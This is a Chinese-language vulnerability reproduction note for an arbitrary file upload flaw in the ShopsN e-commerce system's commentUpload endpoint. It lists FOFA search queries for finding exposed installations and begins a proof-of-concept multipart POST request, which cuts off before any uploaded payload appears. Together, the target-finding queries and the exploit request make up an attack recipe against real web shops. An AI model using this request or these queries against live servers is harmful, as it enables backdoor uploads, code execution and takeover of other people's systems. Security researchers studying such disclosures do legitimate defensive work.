ShopsN commentUpload 文件上传漏洞复现

0x01 产品简介

ShopsN 是一款符合企业级商用标准全功能的真正允许免费商业用途的开源网店全网系统。

0x02 漏洞概述

ShopsN commentUpload 接口处存在任意文件上传漏洞，攻击者可以利用文件上传漏洞执行恶意代码、写入后门、读取敏感文件，从而可能导致服务器受到攻击并被控制。

0x03 复现环境

FOFA：

title="上海盈赛电子商务有限公司" || body="/Supermarket/ProductList" || body="/Uploads/conf/supermarket" || body="/Uploads/intnet/"

0x04 漏洞复现 

PoC

POST /index.php/Home/AppUpload/commentUpload HTTP/1.1
Host: your-ip
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryqfmeYTXFKSA3F97e
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15------WebKitFormBoundaryqfmeYTXFKSA3F97e
Content-Disposition: form-da